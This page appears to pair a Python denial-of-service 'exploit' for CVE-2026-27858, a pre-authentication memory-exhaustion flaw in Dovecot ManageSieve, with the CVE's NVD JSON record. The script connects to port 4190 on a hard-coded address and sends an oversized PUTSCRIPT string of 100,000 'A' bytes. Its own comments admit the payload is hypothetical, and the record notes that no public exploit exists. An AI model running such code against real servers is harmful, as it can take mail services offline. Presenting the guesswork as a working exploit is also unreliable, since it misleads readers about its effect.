CVE-2026-27858

import socket def send_exploit(target_host, target_port): try: # Connect to ManageSieve port (default 4190) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Receive server banner banner = s.recv(1024) print(f"Banner: {banner.decode()}") # Crafted payload to trigger memory allocation # Sending a large payload or specific malformed command sequence # Adjust payload based on specific vulnerability requirement payload = b"IMPLEMENTATION \"DoS-Test\"\r\n" payload += b"SIEVE \"DoS-Test\"\r\n" # Hypothetical large string to force allocation payload += b"PUTSCRIPT \"demo\" " + (b"A" * 100000) + b"\r\n" s.send(payload) print("Payload sent.") # Check response or timeout response = s.recv(1024) print(f"Response: {response.decode()}") except Exception as e: print(f"Connection error (possible crash): {e}") finally: s.close() if __name__ == "__main__": send_exploit("192.168.1.10", 4190)

{"cve": {"id": "CVE-2026-27858", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:20.073", "lastModified": "2026-04-30T17:40:17.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Attacker can send a specifically crafted message before authentication that causes managesieve to allocate large amount of memory.\r\n Attacker can force managesieve-login to be unavailable by repeatedly crashing the process. Protect access to managesieve protocol, or install fixed version. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "2.3.22.1", "matchCriteriaId": "5CF82590-D98A-4E06-AC8C-6CC3506ED923"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.5", "matchCriteriaId": "8476287B-40B2-4533-A3AB-B880516C0B5C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.4", "matchCriteriaId": "11CA35AA-72CB-4614-A064-8A90F65D8A71"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}